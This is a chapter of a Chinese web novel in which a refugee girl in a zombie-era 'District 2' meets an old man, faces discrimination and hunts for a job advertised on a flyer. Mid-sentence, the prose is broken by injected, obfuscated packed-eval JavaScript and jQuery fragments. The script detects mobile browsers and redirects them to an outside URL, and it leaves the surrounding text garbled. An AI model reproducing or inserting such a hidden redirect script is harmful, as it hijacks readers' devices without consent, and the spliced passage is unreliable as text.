雨越下越大，看热闹的群众逐渐散去。


    市集上摆摊的小贩也开始收摊撤人。


    路上的人变得稀疏了。


    打人的男人见周围没人了，觉得没意思，啐了一口唾沫在那流民脸上，甩手走人了。


    乔苓看到那个被打的流民少年捂住鼻子从地上爬起来，鼻血顺着指缝流了出来。


    流民少年看着不大，露在衣服外面的皮肤青一块紫一块，没一块好皮子。


    “这小少年可怜又可恨，这已经不是第一次被打了。”


    一个沧桑的声音传入乔苓的耳朵，她转头一看，是个满脸褶子，手里抓着个拐棍的老头子。


    那老人从手上的白色布袋里掏出把黑伞打在手里。


    “雨下大啦，人都走光了吗，你们也别站在这儿了，赶快找个能躲雨的地方待着吧，这雨里面有污染物质，淋多了可不好，会生病的。”


    老头说着，又从口袋里掏出一把透明伞，递给乔苓：“喏，小丫头，我这儿多一把伞，给你们打着回家。”


    乔苓不习惯接受他人的善意，她刚想摆手，但看到身旁同样在淋雨的丁凝和丁忘，还是接过了伞。


    “谢谢您了。”乔苓说道。


    乔苓看了眼手环，手环上接收到了对方的信息卡片。


    社会身份：平民。


    这老头子的社会身份比自己高一级。


    “谢啥啊，这地方乱的很，你看看街上几乎都没有女娃娃来逛，你们也别往那巷子乱跑。”


    乔苓：“老人家，你刚刚说那被打的家伙可恨，是怎么一回事儿？”


    “哦，那个小小少年啊，你以为别人看他是流民才打的他啊，那可不是哦，这小子没少在这片区域干些小偷小摸的勾当，偷人东西好几次都被抓到了。被抓了之后他还照偷不误，可没少挨打哦。哎，流民里这样的人太多啦，所以本地人都不喜欢和流民打交道。”


    乔苓：“大爷......你应该知道......我也是个流民的吧？”


    那拄拐棍的老头看了乔苓两眼，“知道啊。我对这些倒不在意。毕竟我老伴之前也是个流民。”


    老头咳嗽了两声，嗓子里咳出一头痰，他掏出一张手巾吐进去，然后小心包好，扭头对着乔苓继续说道：


    “咱们不能一棍子打死，认为所有流民都很差劲对吧。”


    “不过现在出来了很多激进派，认为二区是被这帮子流民弄得乌烟瘴气的，应该全部都赶出去。他们对流民的偏见，倒也不是空穴来风，你看看街上那些乞丐，扒手，混混，拎出来10个有9个的身份都是流民，这样一看他们会产生这样的想法似乎也不奇怪了。”


    乔苓点了点头，她扭头再朝着街角看去，已经看不见了那少年的踪影。


    “哎呦，得回去了。”老头拿出怀表看了眼时间，嘴里嘟囔了一句。


    “大爷，我多嘴问您一句，来二区的流民都是怎么赚信用积分的？”


    “那还用说嘛，当然是打黑工啊，这地方一般工作都不招流民的，流民只能打黑工，工资少，压力大，昼夜颠倒，睡的时间都少。不过啊，即便是这样，还是有不少人愿意来二区当流民。”


    “对了。”老头停顿了一下又说道：“你知道为什么咱们这片地方没丧尸不？”


    “为什么？”


    “因为击尸队把丧尸们都赶到人类的生活圈之外的地方去了。只有在二区才能形成这样大规模的人类生活圈。一区就不行，一区那边虽然丧尸少，但是物资几乎不刷新，人类根本生活不下去。二区不一样，这边丧尸虽然比一区多，但是只要出现丧尸的地方，就会刷新出物资。”


    “那三区呢？三区物资不是更多吗？”


    “哎三区就更不行了，三区丧尸是多，但是击尸队没法把丧尸赶出人类生活圈，所以根不可能形成像咱们这地方这么大的人类聚集地。”


    “说太多啦，我这老头子只要有人只要有人讲话就停不下来嘴，年纪大了嘛，话也变得多了。”老人揉了揉腿，“这雨天一下雨，我的腿就疼的厉害，不说啦，回家，回家。”


    雨噼里啪啦地砸下来，那拄拐的老人也离开了。


    老人有腿疾，走路时背影也是一跛一跛的。


    看着他瘦小干瘪的身影消失在雨中，乔苓才回过神，开始思考自己该去哪儿。


    “先找个能躲雨的地方吧。”丁凝说道。


    “嗯。”


    在这街道上乱晃也不是个招儿。


    乔苓她们几个无处可去，在街道上徘徊了一会儿，只找到了个摇摇欲坠的漏雨棚子。


    棚子底下已经躺倒了好几个满身泥泞的流民，只有一小块空地能站脚。


    乔苓走到大棚的外边，刚要收伞进去，那里面躺着一个流民立马爬起来，瞪着眼盯着乔苓，凶巴巴地说：“有人了！”


    里面躺着不少脏兮兮的男人，一股酸臭味儿。


    只是躲个雨罢了，又是非要在这地方躲，


    这俩地儿又脏又臭，根本不像是人待的，谁跟你争地盘儿，乔苓才不稀罕。


    乔苓不想多事，更懒得招惹麻烦，立马转身走人。


    “咱们没有地方落脚，在这秩序混乱的街道整日乱转不安全，还是得赶紧找个工作，有个安身的地方才行。”乔苓说道。


    她们把墙壁上所有张贴的招聘广告全部都看了一遍。


    看完之后心情更差了，百分之八十的招聘广告上都要求应聘者必须达到流民以上的社会身份，剩下对社会身份没有要求的，全部都只要男人，不要女性。


    没想到找个工作居然这么难。


    这个地方难道歧视女性吗？为什么只招男人不招女人？


    如果真的对女性歧视这么大，那么所有生存在二区的女性是怎么生活的呢？


    乔苓蹲在地上，她觉得有些绝望。


    本来只想着到达二区就没问题了，可是现在，她真的到了二区，却连生存都成了问题。


    她们身无分文，没有资金，在这里没有认识的人，甚至还欠下了三万的巨款，如果无法还清这笔巨款，她们没法自由出入二区，没有钱消费，处处都要受限。


    乔苓掏出异能者给自己的信封，异能者说遇到困难了拿着这封信找到她们异能者的组织，说不定能帮上自己忙。


    可是她连对方在哪儿都不知道，这办法也是鸡肋的很，乔苓收回了那封信。


    口袋里又摸到一封皱皱巴巴的广告纸。


    是那张飘到自己面前的广告纸。


    “核心清理所”几个大字吸引了乔苓的注意力。


    包吃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343695|198877||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住，不限社会身份，男女皆可。


    上面这些条件，自己不是正好都满足吗？


    乔苓拿着那张广告纸重新站了起来。


    没想到最后又回到了最初的起点。


    当初被当成破烂的广告纸，居然到最后成了自己的救命稻草。


    不知道那个发传单的胖子还在不在，如果在的话，她得上去问问他，这到底是个什么工作，还招不招人，要是招人，那就先干着吧，赚钱才是最要紧的。


    乔苓原路往返，打算去找那个肥肉大耳的胖子。


    她回到了原来的地方，看到地上躺着许多浸泡在雨水里的红色广告纸，它们变得皱皱巴巴，被来往的鞋子踢进了布满污泥的黑色泥沼中。


    发传单的胖子早就没了影儿。


    是哦，她真傻，仔细想想都知道，下这么大的雨，人家肯定不会留在原地淋雨啊。


    乔苓拿起手上的招聘纸片，上面没有写工作地址，只留了一串电话号码。


    身上也没有手机，看来只能找个好心的路人借用下电话，来联系这个留下号码的联系人。


    乔苓拦下路边经过的路人，想找她们借手机打个电话。


    经过的人一看她是流民，白眼一翻，嘴巴一撇，一个好脸色都没有就推开乔苓走了。


    这个时候，乔苓才明白，不管她是什么样，只要身份还是流民，那么“流民”这个标志就会像烙印一样打在她的脸上，走到哪里都被鄙视。


    那个给送自己伞的老人，是个例外。想要再找出能不对流民带有色眼镜的人，简直像是在大海捞针一般。


    乔苓觉得自尊心受到了打击，她这辈子都没有遭受过的白眼，没有听到过的难听话，全都在二区听到，看到了。


    为什么要来二区？难道她是来这儿当下等人，被人家踩在脚底下的吗？


    不，不是的。


    她是为了完成系统的任务，其次她是为了，不用像老鼠一样躲在下水道，不用为了填饱肚子不断刷新自己的底线。


    乔苓没有放弃，她决定再拦下一个路人，就在这时候，她瞥到居民楼的屋檐下站着个戴眼镜的胖子，他正蹲在房檐下，伸出两只手拢着打火机的火苗，头微微前倾，将嘴巴上叼着的烟头对准火苗。


    “那个人是......”


    乔苓立马认出了那个胖男人，这家伙不就是那个发广告传单的家伙吗？


    乔苓握紧了手心里的招聘广告，朝着那个屋檐下的抽烟的胖男人走了过去。


    胖男人发现有人靠近，抬起了头，他用两根指头夹着烟，缓缓呼出了一口白色烟雾。


    “找我有事儿？”男人眯着眼，将重新叼住烟嘴，说话含含糊糊，像是嘴巴里塞着颗糖似的，看着乔苓问道。


    乔苓赶紧挥了挥手里皱巴的广告纸，说道：“我看到你发的广告纸了，你们还招人是吗？”


    胖男人打量了乔苓一眼，脸上的表情很平淡，看不出一丝情绪，回答乔苓的时候语气也淡淡的：“在招啊。”


    说完，他又低下头，对着脚下的水泥台阶弹了弹手里的烟灰。


    胖男人用烟头指了指乔苓和她身边的两个女孩，“你们谁要找工作？”说完，他头朝着边上一扭，伸出跟粗短的指头，朝着着拾荒者的胸口一指，“它要找工作吗？”